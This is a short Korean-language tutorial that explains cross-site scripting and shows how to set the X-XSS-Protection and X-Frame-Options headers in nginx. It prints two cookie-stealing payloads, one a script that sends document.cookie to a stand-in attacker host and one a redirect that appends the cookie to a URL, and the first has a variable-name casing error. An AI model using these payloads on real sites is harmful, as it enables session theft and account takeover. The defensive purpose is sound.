XXS란 검증되지 않은 입력 값으로 인해 사용자의 웹 브라우저에서 의도하지 않은 악성 스크립트가 실행되는 취약점을 가리킵니다.
도메인 뒤에 다음과 같이 입력하게 되면 쿠키 내용을 그대로 유출하게 할 수 있습니다.
<script>
let xmlhttp = new XMLHttpRequest();
const url = "http://hackerServer.com?Cookie="+document.cookie;
xmlHttp.open("GET", url);
xmlhttp.send();
</script>
XXS 취약점이 있는 웹 서버에 다양한 악성 데이터를 포함시킨 후, 사용자의 브라우저가 악성 데이터를 실행하게 할 수 있습니다.
공격자는 공격 코드가 실행되도록 해 사용자의 시스템을 원하는 대로 실행시킬 수 있습니다.
XXS 공격은 악성 스크립트 자체로 악성코드를 다운로드 시킬 수는 없습니다.
하지만, 악성 코드가 있는 URL로 이동하게 해 악성코드를 다운로드 받게 할 수는 있습니다.
아래의 설정을 nginx.conf 파일 내 http 블록 안에 적어주면 됩니다.
vi /etc/nginx/nginx.conf
http {
add_header X-XSS-Protection "1; mode=block";
}
공격자가 HTML삽입으로 입력한 자바스크립트 공격구문(크로스사이트스크립트, XSS)이
"<script> document.location = 'http://www.memozee.com/?cook='+document.cookie; </script>"일 경우의 상황별 주요 웹브라우저의 반응은 다음과 같았습니다.
X-XSS-Protection 헤더를 설정하지 않았을 때 XSS 공격에 대한 웹브라우저별 반응
X-XSS-Protection: 1 설정시의 XSS 공격에 대한 웹 브라우저별 반응
X-XSS-Protection: 1; mode=block 설정시의 XSS 공격에 대한 웹 브라우저별 반응
아래의 설정을 nginx.conf 파일 내 http 블록 안에 적어주면 됩니다.
만약 SAMEORIGIN라는 옵션을 사용하고, 같은 도메인 외 다른 도메인으로 연결된 URL로 이동되는 것을 막아줍니다.
http {
add_header X-Frame-Options SAMEORIGIN;
}
옵션은 아래와 같습니다.
- deny - 무조건 불러올 수 없다
- sameorigin - 같은 도메인인 경우 불러올 수 있다
- allow-from - 특정 도메인들을 허용한다
네이버의 경우 X-Frame-Options 옵션은 deny로, XSS 필터 설정은 X-XSS-Protection: 1; mode=block로 해준 것을 확인할 수 있습니다.
